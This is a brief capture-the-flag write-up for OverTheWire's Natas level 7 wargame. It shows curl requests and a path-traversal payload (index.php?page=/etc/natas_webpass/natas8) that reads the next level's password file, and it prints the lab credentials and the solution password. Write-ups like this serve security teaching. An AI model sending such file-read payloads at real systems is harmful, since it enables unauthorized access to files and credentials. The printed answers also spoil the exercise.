Natas [Level 7] - Overthewire

Username: natas7
Password: jmxSiH3SP6Sonf8dv66ng8v1cIEdjXWr
URL: http://natas7.natas.labs.overthewire.org

On this level it seems i are provided with 2 links, Home and About. Let’s View Page Source, and see if i can find anything.

curl -XGET -u natas7:jmxSiH3SP6Sonf8dv66ng8v1cIEdjXWr http://natas7.natas.labs.overthewire.org/index.php?page=home && curl -XGET -u natas7:jmxSiH3SP6Sonf8dv66ng8v1cIEdjXWr http://natas7.natas.labs.overthewire.org/index.php?page=about

Hmm…

• index.php?page=home –> this is the front page
• index.php?page=about –> this is the about page

Alright, the HTML comment is telling us that i can get the password from etc/natas_webpass/natas8. Judging by the hint, I assume this is a Directory Traversal Attack.

curl -XPOST -u natas7:jmxSiH3SP6Sonf8dv66ng8v1cIEdjXWr http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8

Alright, i got the password! Moving on to level 8!

==> CTF: { natas8:a6bZCNYwdKqN5cGP11ZdtPg0iImQQhAB }